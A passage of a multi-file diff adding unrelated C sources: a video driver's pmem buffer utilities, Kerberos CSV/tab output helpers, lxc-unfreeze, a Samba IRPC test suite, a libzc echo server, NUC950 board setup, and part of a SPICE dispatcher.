"vidc_type.h" +#include "vcd_ddl_utils.h" + +#if DEBUG +#define DBG(x...) printk(KERN_DEBUG x) +#else +#define DBG(x...) +#endif + +#define DBG_TIME(x...) printk(KERN_DEBUG x) +#define ERR(x...) printk(KERN_ERR x) + +struct time_data { + unsigned int ddl_t1; + unsigned int ddl_ttotal; + unsigned int ddl_count; +}; + +static struct time_data proc_time[MAX_TIME_DATA]; + +#ifdef NO_IN_KERNEL_PMEM + +void ddl_pmem_alloc(struct ddl_buf_addr *buff_addr, size_t sz, u32 align) +{ + u32 guard_bytes, align_mask; + u32 physical_addr, align_offset; + dma_addr_t phy_addr; + + if (align == DDL_LINEAR_BUFFER_ALIGN_BYTES) { + + guard_bytes = 31; + align_mask = 0xFFFFFFE0U; + + } else { + + guard_bytes = DDL_TILE_BUF_ALIGN_GUARD_BYTES; + align_mask = DDL_TILE_BUF_ALIGN_MASK; + } + + buff_addr->virtual_base_addr = + kmalloc((sz + guard_bytes), GFP_KERNEL); + + if (!buff_addr->virtual_base_addr) { + ERR("\n ERROR %s:%u kamlloc fails to allocate" + " sz + guard_bytes = %u\n", __func__, __LINE__, + (sz + guard_bytes)); + return; + } + + phy_addr = dma_map_single(NULL, buff_addr->virtual_base_addr, + sz + guard_bytes, DMA_TO_DEVICE); + + buff_addr->buffer_size = sz; + physical_addr = (u32) phy_addr; + buff_addr->align_physical_addr = + (u32 *) ((physical_addr + guard_bytes) & align_mask); + align_offset = + (u32) (buff_addr->align_physical_addr) - physical_addr; + buff_addr->align_virtual_addr = + (u32 *) ((u32) (buff_addr->virtual_base_addr) + + align_offset); +} + +void ddl_pmem_free(struct ddl_buf_addr *buff_addr) +{ + kfree(buff_addr->virtual_base_addr); + buff_addr->buffer_size = 0; + buff_addr->virtual_base_addr = NULL; +} + +#else + +void ddl_pmem_alloc(struct ddl_buf_addr *buff_addr, size_t sz, u32 align) +{ + u32 guard_bytes, align_mask; + s32 physical_addr; + u32 align_offset; + + DBG_PMEM("\n%s() IN: Requested alloc size(%u)", __func__, (u32)sz); + + /*HTC_START*/ + DBG("\n%s() IN : phy_addr(%p) ker_addr(%p) size(%u)", + __func__, buff_addr->physical_base_addr, + buff_addr->virtual_base_addr, (u32)sz); + /*HTC_END*/ + + if (align == DDL_LINEAR_BUFFER_ALIGN_BYTES) { + + guard_bytes = 31; + align_mask = 0xFFFFFFE0U; + + } else { + + guard_bytes = DDL_TILE_BUF_ALIGN_GUARD_BYTES; + align_mask = DDL_TILE_BUF_ALIGN_MASK; + } + + physical_addr = pmem_kalloc((sz + guard_bytes), + PMEM_MEMTYPE_EBI1 | PMEM_ALIGNMENT_4K); + buff_addr->physical_base_addr = (u32 *)physical_addr; + + if (IS_ERR((void *)physical_addr)) { + pr_err("%s(): could not allocte in kernel pmem buffers\n", + __func__); + goto bailout; + } + + buff_addr->virtual_base_addr = + (u32 *) ioremap((unsigned long)physical_addr, + sz + guard_bytes); + if (!buff_addr->virtual_base_addr) { + + pr_err("%s: could not ioremap in kernel pmem buffers\n", + __func__); + pmem_kfree(physical_addr); + goto bailout; + } + memset(buff_addr->virtual_base_addr, 0 , sz + guard_bytes); + buff_addr->buffer_size = sz; + + buff_addr->align_physical_addr = + (u32 *) ((physical_addr + guard_bytes) & align_mask); + + align_offset = + (u32) (buff_addr->align_physical_addr) - physical_addr; + + buff_addr->align_virtual_addr = + (u32 *) ((u32) (buff_addr->virtual_base_addr) + + align_offset); + + DBG_PMEM("\n%s() OUT: phy_addr(%p) ker_addr(%p) size(%u)", __func__, + buff_addr->physical_base_addr, buff_addr->virtual_base_addr, + buff_addr->buffer_size); + + return; +bailout: + buff_addr->physical_base_addr = NULL; + buff_addr->virtual_base_addr = NULL; + buff_addr->buffer_size = 0; +} + +void ddl_pmem_free(struct ddl_buf_addr *buff_addr) +{ + if (!buff_addr) { + ERR("\n %s() invalid arguments %p", __func__, buff_addr); + return; + } + DBG_PMEM("\n%s() IN: phy_addr(%p) ker_addr(%p) size(%u)", __func__, + buff_addr->physical_base_addr, buff_addr->virtual_base_addr, + buff_addr->buffer_size); + + if (buff_addr->virtual_base_addr) + iounmap((void *)buff_addr->virtual_base_addr); + + if ((buff_addr->physical_base_addr) && + pmem_kfree((s32) buff_addr->physical_base_addr)) { + ERR("\n %s(): Error in Freeing ddl_pmem_free " + "Physical Address %p", __func__, + buff_addr->physical_base_addr); + } + DBG_PMEM("\n%s() OUT: phy_addr(%p) ker_addr(%p) size(%u)", __func__, + buff_addr->physical_base_addr, buff_addr->virtual_base_addr, + buff_addr->buffer_size); + buff_addr->buffer_size = 0; + buff_addr->physical_base_addr = NULL; + buff_addr->virtual_base_addr = NULL; +} +#endif + +void ddl_set_core_start_time(const char *func_name, u32 index) +{ + u32 act_time; + struct timeval ddl_tv; + struct time_data *time_data = &proc_time[index]; + do_gettimeofday(&ddl_tv); + act_time = (ddl_tv.tv_sec * 1000) + (ddl_tv.tv_usec / 1000); + if (!time_data->ddl_t1) { + time_data->ddl_t1 = act_time; + DBG("\n%s(): Start Time (%u)", func_name, act_time); + } else { + DBG_TIME("\n%s(): Timer already started! St(%u) Act(%u)", + func_name, time_data->ddl_t1, act_time); + } +} + +void ddl_calc_core_proc_time(const char *func_name, u32 index) +{ + struct time_data *time_data = &proc_time[index]; + if (time_data->ddl_t1) { + int ddl_t2; + struct timeval ddl_tv; + do_gettimeofday(&ddl_tv); + ddl_t2 = (ddl_tv.tv_sec * 1000) + (ddl_tv.tv_usec / 1000); + time_data->ddl_ttotal += (ddl_t2 - time_data->ddl_t1); + time_data->ddl_count++; + DBG_TIME("\n%s(): cnt(%u) Diff(%u) Avg(%u)", + func_name, time_data->ddl_count, + ddl_t2 - time_data->ddl_t1, + time_data->ddl_ttotal/time_data->ddl_count); + time_data->ddl_t1 = 0; + } +} + +void ddl_reset_core_time_variables(u32 index) +{ + proc_time[index].ddl_t1 = 0; + proc_time[index].ddl_ttotal = 0; + proc_time[index].ddl_count = 0; +} diff --git a/pool/shard001/C/0021939_tdumputil.c b/pool/shard001/C/0021939_tdumputil.c new file mode 100644 index 0000000000000000000000000000000000000000..2c14d5670e08ce980a555eab49c4e507b9e8acae --- /dev/null +++ b/pool/shard001/C/0021939_tdumputil.c @@ -0,0 +1,266 @@ +/* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ +/* kdc/tdumputil.c - utilities for tab-separated, etc. files */ +/* + * Copyright (C) 2015 by the Massachusetts Institute of Technology. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "k5-int.h" +#include "k5-platform.h" /* for vasprintf */ +#include +#include +#include +#include +#include + +#include "tdumputil.h" + +/* + * Structure describing flavor of a tabular output format. + * + * fieldsep is the field separator + * + * recordsep is the record/line separator + * + * quotechar begins and ends a quoted field. If an instance of quotechar + * occurs within a quoted field value, it is doubled. + * + * Values are only quoted if they contain fieldsep, recordsep, or quotechar. + */ +struct flavor { + int fieldsep; /* field separator */ + int recordsep; /* record separator */ + int quotechar; /* quote character */ +}; + +struct rechandle { + FILE *fh; + const char *rectype; + int do_sep; + struct flavor flavor; +}; + +static const struct flavor tabsep = { + '\t', /* fieldsep */ + '\n', /* recordsep */ + '\0' /* quotechar */ +}; + +static const struct flavor csv = { + ',', /* fieldsep */ + '\n', /* recordsep */ + '"' /* quotechar */ +}; + +/* + * Double any quote characters present in a quoted field. + */ +static char * +qquote(struct flavor *fl, const char *s) +{ + const char *sp; + struct k5buf buf; + + k5_buf_init_dynamic(&buf); + for (sp = s; *sp != '\0'; sp++) { + k5_buf_add_len(&buf, sp, 1); + if (*sp == fl->quotechar) + k5_buf_add_len(&buf, sp, 1); + } + return buf.data; +} + +/* + * Write an optionally quoted field. + */ +static int +writequoted(struct rechandle *h, const char *fmt, va_list ap) +{ + int doquote = 0, ret; + char *s = NULL, *qs = NULL; + struct flavor fl = h->flavor; + + assert(fl.quotechar != '\0'); + ret = vasprintf(&s, fmt, ap); + if (ret < 0) + return ret; + if (strchr(s, fl.fieldsep) != NULL) + doquote = 1; + if (strchr(s, fl.recordsep) != NULL) + doquote = 1; + if (strchr(s, fl.quotechar) != NULL) + doquote = 1; + + if (doquote) { + qs = qquote(&fl, s); + if (qs == NULL) { + ret = -1; + goto cleanup; + } + ret = fprintf(h->fh, "%c%s%c", fl.quotechar, qs, fl.quotechar); + } else { + ret = fprintf(h->fh, "%s", s); + } +cleanup: + free(s); + free(qs); + return ret; +} + +/* + * Return a rechandle with the requested file handle and rectype. + * + * rectype must be a valid pointer for the entire lifetime of the rechandle (or + * null) + */ +static struct rechandle * +rechandle_common(FILE *fh, const char *rectype) +{ + struct rechandle *h = calloc(1, sizeof(*h)); + + if (h == NULL) + return NULL; + h->fh = fh; + h->rectype = rectype; + h->do_sep = 0; + return h; +} + +/* + * Return a rechandle for tab-separated output. + */ +struct rechandle * +rechandle_tabsep(FILE *fh, const char *rectype) +{ + struct rechandle *h = rechandle_common(fh, rectype); + + if (h == NULL) + return NULL; + h->flavor = tabsep; + return h; +} + +/* + * Return a rechandle for CSV output. + */ +struct rechandle * +rechandle_csv(FILE *fh, const char *rectype) +{ + struct rechandle *h = rechandle_common(fh, rectype); + + if (h == NULL) + return NULL; + h->flavor = csv; + return h; +} + +/* + * Free a rechandle. + */ +void +rechandle_free(struct rechandle *h) +{ + free(h); +} + +/* + * Start a record. This includes writing a record type prefix (rectype) if + * specified. + */ +int +startrec(struct rechandle *h) +{ + if (h->rectype == NULL) { + h->do_sep = 0; + return 0; + } + h->do_sep = 1; + return fputs(h->rectype, h->fh); +} + +/* + * Write a single field of a record. This includes writing a separator + * character, if appropriate. + */ +int +writefield(struct rechandle *h, const char *fmt, ...) +{ + int ret = 0; + va_list ap; + struct flavor fl = h->flavor; + + if (h->do_sep) { + ret = fputc(fl.fieldsep, h->fh); + if (ret < 0) + return ret; + } + h->do_sep = 1; + va_start(ap, fmt); + if (fl.quotechar == '\0') + ret = vfprintf(h->fh, fmt, ap); + else + ret = writequoted(h, fmt, ap); + va_end(ap); + return ret; +} + +/* + * Finish a record (line). + */ +int +endrec(struct rechandle *h) +{ + int ret = 0; + struct flavor fl = h->flavor; + + ret = fputc(fl.recordsep, h->fh); + h->do_sep = 0; + return ret; +} + +/* + * Write a header line if h->rectype is null. (If rectype is set, it will be + * prefixed to output lines, most likely in a mixed record type output file, so + * it doesn't make sense to output a header line in that case.) + */ +int +writeheader(struct rechandle *h, char * const *a) +{ + int ret = 0; + char * const *p; + + if (h->rectype != NULL) + return 0; + for (p = a; *p != NULL; p++) { + ret = writefield(h, "%s", *p); + if (ret < 0) + return ret; + } + ret = endrec(h); + return ret; +} diff --git a/pool/shard001/C/0021952_lxc_unfreeze.c b/pool/shard001/C/0021952_lxc_unfreeze.c new file mode 100644 index 0000000000000000000000000000000000000000..394fe0ee060f33f1d7cc0aae434199945a0ed441 --- /dev/null +++ b/pool/shard001/C/0021952_lxc_unfreeze.c @@ -0,0 +1,114 @@ +/* + * lxc: linux Container library + * + * (C) Copyright IBM Corp. 2007, 2008 + * + * Authors: + * Daniel Lezcano + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include +#include +#include +#include + +#include + +#include "lxc.h" +#include "log.h" +#include "arguments.h" + +lxc_log_define(lxc_unfreeze_ui, lxc); + +static const struct option my_longopts[] = { + LXC_COMMON_OPTIONS +}; + +static struct lxc_arguments my_args = { + .progname = "lxc-unfreeze", + .help = "\ +--name=NAME\n\ +\n\ +lxc-unfreeze unfreezes a container with the identifier NAME\n\ +\n\ +Options :\n\ + -n, --name=NAME NAME of the container\n\ + --rcfile=FILE Load configuration file FILE\n", + .options = my_longopts, + .parser = NULL, + .checker = NULL, +}; + +int main(int argc, char *argv[]) +{ + struct lxc_container *c; + struct lxc_log log; + + if (lxc_arguments_parse(&my_args, argc, argv)) + exit(EXIT_FAILURE); + + if (!my_args.log_file) + my_args.log_file = "none"; + + log.name = my_args.name; + log.file = my_args.log_file; + log.level = my_args.log_priority; + log.prefix = my_args.progname; + log.quiet = my_args.quiet; + log.lxcpath = my_args.lxcpath[0]; + + + if (lxc_log_init(&log)) + exit(EXIT_FAILURE); + lxc_log_options_no_override(); + + c = lxc_container_new(my_args.name, my_args.lxcpath[0]); + if (!c) { + ERROR("No such container: %s:%s", my_args.lxcpath[0], my_args.name); + exit(EXIT_FAILURE); + } + + if (!c->may_control(c)) { + ERROR("Insufficent privileges to control %s:%s", my_args.lxcpath[0], my_args.name); + lxc_container_put(c); + exit(EXIT_FAILURE); + } + + if (my_args.rcfile) { + c->clear_config(c); + if (!c->load_config(c, my_args.rcfile)) { + ERROR("Failed to load rcfile"); + lxc_container_put(c); + exit(EXIT_FAILURE); + } + c->configfile = strdup(my_args.rcfile); + if (!c->configfile) { + ERROR("Out of memory setting new config filename"); + lxc_container_put(c); + exit(EXIT_FAILURE); + } + } + + if (!c->unfreeze(c)) { + ERROR("Failed to unfreeze %s:%s", my_args.lxcpath[0], my_args.name); + lxc_container_put(c); + exit(EXIT_FAILURE); + } + + lxc_container_put(c); + + exit(EXIT_SUCCESS); +} diff --git a/pool/shard001/C/0021961_irpc.c b/pool/shard001/C/0021961_irpc.c new file mode 100644 index 0000000000000000000000000000000000000000..3eb23e0f7d53c90681b4791736391fc3cceb466f --- /dev/null +++ b/pool/shard001/C/0021961_irpc.c @@ -0,0 +1,271 @@ +/* + Unix SMB/CIFS implementation. + + local test for irpc code + + Copyright (C) Andrew Tridgell 2004 + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "includes.h" +#include "lib/events/events.h" +#include "lib/messaging/irpc.h" +#include "librpc/gen_ndr/ndr_echo.h" +#include "torture/torture.h" +#include "cluster/cluster.h" +#include "param/param.h" + +const uint32_t MSG_ID1 = 1, MSG_ID2 = 2; + +static bool test_debug; + +struct irpc_test_data +{ + struct messaging_context *msg_ctx1, *msg_ctx2; + struct tevent_context *ev; +}; + +/* + serve up AddOne over the irpc system +*/ +static NTSTATUS irpc_AddOne(struct irpc_message *irpc, struct echo_AddOne *r) +{ + *r->out.out_data = r->in.in_data + 1; + if (test_debug) { + printf("irpc_AddOne: in=%u in+1=%u out=%u\n", + r->in.in_data, r->in.in_data+1, *r->out.out_data); + } + return NT_STATUS_OK; +} + +/* + a deferred reply to echodata +*/ +static void deferred_echodata(struct tevent_context *ev, struct tevent_timer *te, + struct timeval t, void *private_data) +{ + struct irpc_message *irpc = talloc_get_type(private_data, struct irpc_message); + struct echo_EchoData *r = irpc->data; + r->out.out_data = talloc_memdup(r, r->in.in_data, r->in.len); + if (r->out.out_data == NULL) { + irpc_send_reply(irpc, NT_STATUS_NO_MEMORY); + } + printf("sending deferred reply\n"); + irpc_send_reply(irpc, NT_STATUS_OK); +} + + +/* + serve up EchoData over the irpc system +*/ +static NTSTATUS irpc_EchoData(struct irpc_message *irpc, struct echo_EchoData *r) +{ + irpc->defer_reply = true; + event_add_timed(irpc->ev, irpc, timeval_zero(), deferred_echodata, irpc); + return NT_STATUS_OK; +} + + +/* + test a addone call over the internal messaging system +*/ +static bool test_addone(struct torture_context *test, const void *_data, + const void *_value) +{ + struct echo_AddOne r; + NTSTATUS status; + const struct irpc_test_data *data = (const struct irpc_test_data *)_data; + uint32_t value = *(const uint32_t *)_value; + + /* make the call */ + r.in.in_data = value; + + test_debug = true; + status = IRPC_CALL(data->msg_ctx1, cluster_id(0, MSG_ID2), + rpcecho, ECHO_ADDONE, &r, test); + test_debug = false; + torture_assert_ntstatus_ok(test, status, "AddOne failed"); + + /* check the answer */ + torture_assert(test, *r.out.out_data == r.in.in_data + 1, + "AddOne wrong answer"); + + torture_comment(test, "%u + 1 = %u\n", r.in.in_data, *r.out.out_data); + return true; +} + +/* + test a echodata call over the internal messaging system +*/ +static bool test_echodata(struct torture_context *tctx, + const void *tcase_data, + const void *test_data) +{ + struct echo_EchoData r; + NTSTATUS status; + const struct irpc_test_data *data = (const struct irpc_test_data *)tcase_data; + TALLOC_CTX *mem_ctx = tctx; + + /* make the call */ + r.in.in_data = (unsigned char *)talloc_strdup(mem_ctx, "0123456789"); + r.in.len = strlen((char *)r.in.in_data); + + status = IRPC_CALL(data->msg_ctx1, cluster_id(0, MSG_ID2), + rpcecho, ECHO_ECHODATA, &r, + mem_ctx); + torture_assert_ntstatus_ok(tctx, status, "EchoData failed"); + + /* check the answer */ + if (memcmp(r.out.out_data, r.in.in_data, r.in.len) != 0) { + NDR_PRINT_OUT_DEBUG(echo_EchoData, &r); + torture_fail(tctx, "EchoData wrong answer"); + } + + torture_comment(tctx, "Echo '%*.*s' -> '%*.*s'\n", + r.in.len, r.in.len, + r.in.in_data, + r.in.len, r.in.len, + r.out.out_data); + return true; +} + + +static void irpc_callback(struct irpc_request *irpc) +{ + struct echo_AddOne *r = (struct echo_AddOne *)irpc->r; + int *pong_count = (int *)irpc->async.private_data; + NTSTATUS status = irpc_call_recv(irpc); + if (!NT_STATUS_IS_OK(status)) { + printf("irpc call failed - %s\n", nt_errstr(status)); + } + if (*r->out.out_data != r->in.in_data + 1) { + printf("AddOne wrong answer - %u + 1 = %u should be %u\n", + r->in.in_data, *r->out.out_data, r->in.in_data+1); + } + (*pong_count)++; +} + +/* + test echo speed +*/ +static bool test_speed(struct torture_context *tctx, + const void *tcase_data, + const void *test_data) +{ + int ping_count = 0; + int pong_count = 0; + const struct irpc_test_data *data = (const struct irpc_test_data *)tcase_data; + struct timeval tv; + struct echo_AddOne r; + TALLOC_CTX *mem_ctx = tctx; + int timelimit = torture_setting_int(tctx, "timelimit", 10); + + tv = timeval_current(); + + r.in.in_data = 0; + + torture_comment(tctx, "Sending echo for %d seconds\n", timelimit); + while (timeval_elapsed(&tv) < timelimit) { + struct irpc_request *irpc; + + irpc = IRPC_CALL_SEND(data->msg_ctx1, cluster_id(0, MSG_ID2), + rpcecho, ECHO_ADDONE, + &r, mem_ctx); + torture_assert(tctx, irpc != NULL, "AddOne send failed"); + + irpc->async.fn = irpc_callback; + irpc->async.private_data = &pong_count; + + ping_count++; + + while (ping_count > pong_count + 20) { + event_loop_once(data->ev); + } + } + + torture_comment(tctx, "waiting for %d remaining replies (done %d)\n", + ping_count - pong_count, pong_count); + while (timeval_elapsed(&tv) < 30 && pong_count < ping_count) { + event_loop_once(data->ev); + } + + torture_assert_int_equal(tctx, ping_count, pong_count, "ping test failed"); + + torture_comment(tctx, "echo rate of %.0f messages/sec\n", + (ping_count+pong_count)/timeval_elapsed(&tv)); + return true; +} + + +static bool irpc_setup(struct torture_context *tctx, void **_data) +{ + struct irpc_test_data *data; + + *_data = data = talloc(tctx, struct irpc_test_data); + + lp_set_cmdline(tctx->lp_ctx, "pid directory", "piddir.tmp"); + + data->ev = tctx->ev; + torture_assert(tctx, data->msg_ctx1 = + messaging_init(tctx, + lp_messaging_path(tctx, tctx->lp_ctx), + cluster_id(0, MSG_ID1), + lp_iconv_convenience(tctx->lp_ctx), + data->ev), + "Failed to init first messaging context"); + + torture_assert(tctx, data->msg_ctx2 = + messaging_init(tctx, + lp_messaging_path(tctx, tctx->lp_ctx), + cluster_id(0, MSG_ID2), + lp_iconv_convenience(tctx->lp_ctx), + data->ev), + "Failed to init second messaging context"); + + /* register the server side function */ + IRPC_REGISTER(data->msg_ctx1, rpcecho, ECHO_ADDONE, irpc_AddOne, NULL); + IRPC_REGISTER(data->msg_ctx2, rpcecho, ECHO_ADDONE, irpc_AddOne, NULL); + + IRPC_REGISTER(data->msg_ctx1, rpcecho, ECHO_ECHODATA, irpc_EchoData, NULL); + IRPC_REGISTER(data->msg_ctx2, rpcecho, ECHO_ECHODATA, irpc_EchoData, NULL); + + return true; +} + +struct torture_suite *torture_local_irpc(TALLOC_CTX *mem_ctx) +{ + struct torture_suite *suite = torture_suite_create(mem_ctx, "IRPC"); + struct torture_tcase *tcase = torture_suite_add_tcase(suite, "irpc"); + int i; + uint32_t *values = talloc_array(tcase, uint32_t, 5); + + values[0] = 0; + values[1] = 0x7FFFFFFE; + values[2] = 0xFFFFFFFE; + values[3] = 0xFFFFFFFF; + values[4] = random() & 0xFFFFFFFF; + + tcase->setup = irpc_setup; + + for (i = 0; i < 5; i++) { + torture_tcase_add_test_const(tcase, "addone", test_addone, + (void *)&values[i]); + } + + torture_tcase_add_test_const(tcase, "echodata", test_echodata, NULL); + torture_tcase_add_test_const(tcase, "speed", test_speed, NULL); + + return suite; +} diff --git a/pool/shard001/C/0021962_aio.c b/pool/shard001/C/0021962_aio.c new file mode 100644 index 0000000000000000000000000000000000000000..513a813e439eed659ed7481c0223d6c82f7174c8 --- /dev/null +++ b/pool/shard001/C/0021962_aio.c @@ -0,0 +1,146 @@ +/* + * ================================ + * eli960@163.com + * http://www.mailhonor.com/ + * 2015-11-24 + * ================================ + */ + +#include "libzc.h" +#include + +static int after_write(zaio_t * aio); +static int service_error(zaio_t * aio) +{ + printf("service_error\n"); + int fd; + + fd = zaio_get_fd(aio); + + zinfo("%d: error or idle too long", fd); + zaio_fini(aio); + zaio_free(aio); + close(fd); + + return -1; +} + +static int after_read(zaio_t * aio) +{ + printf("after_read\n"); + int ret, fd, len; + char rbuf[102400]; + char *p; + + ret = zaio_get_ret(aio); + fd = zaio_get_fd(aio); + if (ret < 1) { + return service_error(aio); + } + zaio_fetch_rbuf(aio, rbuf, ret); + + if (ret > 3 && !strncmp(rbuf, "exit", 4)) { + zaio_fini(aio); + zaio_free(aio); + close(fd); + return 0; + } + + rbuf[ret] = 0; + p = strchr(rbuf, '\r'); + if (p) { + *p = 0; + } + p = strchr(rbuf, '\n'); + if (p) { + *p = 0; + } + len = strlen(rbuf); + + zaio_write_cache_append(aio, "your input: ", 12); + zaio_write_cache_append(aio, rbuf, len); + zaio_write_cache_append(aio, "\n", 1); + zaio_write_cache_flush(aio, after_write, 1000); + + return 0; +} + +static int after_write(zaio_t * aio) +{ + int ret; + printf("before_write\n"); + + ret = zaio_get_ret(aio); + + if (ret < 1) { + return service_error(aio); + } + + zaio_read_delimiter(aio, '\n', 1024, after_read, 10 * 1000); + + return 0; +} + +static void welcome(zaio_t * aio) +{ + time_t t = time(0); + + zaio_printf_1024(aio, "welcome aio: %s\n", ctime(&t)); + zaio_write_cache_flush(aio, after_write, 1000); +} + +static int before_accept(zev_t * ev) +{ + printf("before_accept\n"); + int sock; + int fd; + zaio_t *aio; + + sock = zev_get_fd(ev); + fd = zinet_accept(sock); + if (fd < -1) { + printf("accept fail\n"); + return 0; + } + znonblocking(fd, 1); + aio = zaio_create(); + zaio_init(aio, zvar_evbase, fd); + + welcome(aio); + + return 0; +} + +static int timer_cb(zevtimer_t * zt) +{ + zinfo("now exit!"); + exit(1); + + return 0; +} + +int main(int argc, char **argv) +{ + int port; + int sock; + zev_t *ev; + zevtimer_t tm; + + port = 8899; + zvar_evbase = zevbase_create(); + + sock = zinet_listen(0, port, 5); + znonblocking(sock, 1); + ev = zev_create(); + zev_init(ev, zvar_evbase, sock); + zev_read(ev, before_accept); + + zevtimer_init(&tm, zvar_evbase); + zevtimer_start(&tm, timer_cb, 200 * 1000); + + while (1) { + zevbase_dispatch(zvar_evbase, 0); + } + + return 0; +} diff --git a/pool/shard001/C/0021965_nuc950.c b/pool/shard001/C/0021965_nuc950.c new file mode 100644 index 0000000000000000000000000000000000000000..3be114249cd81dfbbedfde225f275ed1eae6048b --- /dev/null +++ b/pool/shard001/C/0021965_nuc950.c @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * linux/arch/arm/mach-w90x900/nuc950.c + * + * Based on linux/arch/arm/plat-s3c24xx/s3c244x.c by Ben Dooks + * + * Copyright (c) 2008 Nuvoton technology corporation. + * + * Wan ZongShun + * + * NUC950 cpu support + */ + +#include +#include +#include + +#include "cpu.h" + +/* define specific CPU platform device */ + +static struct platform_device *nuc950_dev[] __initdata = { + &nuc900_device_kpi, + &nuc900_device_fmi, + &nuc900_device_lcd, +}; + +/* define specific CPU platform io map */ + +static struct map_desc nuc950evb_iodesc[] __initdata = { +}; + +/*Init NUC950 evb io*/ + +void __init nuc950_map_io(void) +{ + nuc900_map_io(nuc950evb_iodesc, ARRAY_SIZE(nuc950evb_iodesc)); +} + +/*Init NUC950 clock*/ + +void __init nuc950_init_clocks(void) +{ + nuc900_init_clocks(); +} + +/*Init NUC950 board info*/ + +void __init nuc950_board_init(void) +{ + nuc900_board_init(nuc950_dev, ARRAY_SIZE(nuc950_dev)); +} diff --git a/pool/shard001/C/0021968_main_dispatcher.c b/pool/shard001/C/0021968_main_dispatcher.c new file mode 100644 index 0000000000000000000000000000000000000000..1126ec060c887b294e8fb8b804d8fa4bdf6a9771 --- /dev/null +++ b/pool/shard001/C/0021968_main_dispatcher.c @@ -0,0 +1,132 @@ +#include +#include +#include +#include +#include + +#include "red_common.h" +#include "dispatcher.h" +#include "main_dispatcher.h" +#include "red_channel.h" +#include "reds.h" + +/* + * Main Dispatcher + * =============== + * + * Communication channel between any non main thread and the main thread. + * + * The main thread is that from which spice_server_init is called. + * + * Messages are single sized, sent from the non-main thread to the main-thread. + * No acknowledge is sent back. This prevents a possible deadlock with the main + * thread already waiting on a response for the existing red_dispatcher used + * by the worker thread. + * + * All events have three functions: + * main_dispatcher_ - non static, public function + * main_dispatcher_self_ - handler for main thread + * main_dispatcher_handle_ - handler for callback from main thread + * seperate from self because it may send an ack or do other work in the future. + */ + +typedef struct { + Dispatcher base; + SpiceCoreInterface *core; +} MainDispatcher; + +MainDispatcher main_dispatcher; + +enum { + MAIN_DISPATCHER_CHANNEL_EVENT = 0, + MAIN_DISPATCHER_MIGRATE_SEAMLESS_DST_COMPLETE, + + MAIN_DISPATCHER_NUM_MESSAGES +}; + +typedef struct MainDispatcherChannelEventMessage { + int event; + SpiceChannelEventInfo *info; +} MainDispatcherChannelEventMessage; + +typedef struct MainDispatcherMigrateSeamlessDstCompleteMessage { + RedClient *client; +} MainDispatcherMigrateSeamlessDstCompleteMessage; + +/* channel_event - calls core->channel_event, must be done in main thread */ +static void main_dispatcher_self_handle_channel_event( + int event, + SpiceChannelEventInfo *info) +{ + main_dispatcher.core->channel_event(event, info); + if (event == SPICE_CHANNEL_EVENT_DISCONNECTED) { + free(info); + } +} + +static void main_dispatcher_handle_channel_event(void *opaque, + void *payload) +{ + MainDispatcherChannelEventMessage *channel_event = payload; + + main_dispatcher_self_handle_channel_event(channel_event->event, + channel_event->info); +} + +void main_dispatcher_channel_event(int event, SpiceChannelEventInfo *info) +{ + MainDispatcherChannelEventMessage msg; + + if (pthread_self() == main_dispatcher.base.self) { + main_dispatcher_self_handle_channel_event(event, info); + return; + } + msg.event = event; + msg.info = info; + dispatcher_send_message(&main_dispatcher.base, MAIN_DISPATCHER_CHANNEL_EVENT, + &msg); +} + + +static void main_dispatcher_handle_migrate_complete(void *opaque, + void *payload) +{ + MainDispatcherMigrateSeamlessDstCompleteMessage *mig_complete = payload; + + reds_on_client_seamless_migrate_complete(mig_complete->client); +} + +void main_dispatcher_seamless_migrate_dst_complete(RedClient *client) +{ + MainDispatcherMigrateSeamlessDstCompleteMessage msg; + + if (pthread_self() == main_dispatcher.base.self) { + reds_on_client_seamless_migrate_complete(client); + return; + } + + msg.client = client; + dispatcher_send_message(&main_dispatcher.base, MAIN_DISPATCHER_MIGRATE_SEAMLESS_DST_COMPLETE, + &msg); +} +static void dispatcher_handle_read(int fd, int event, void *opaque) +{ + Dispatcher *dispatcher = opaque; + + dispatcher_handle_recv_read(dispatcher); +} + +void main_dispatcher_init(SpiceCoreInterface *core) +{ + memset(&main_dispatcher, 0, 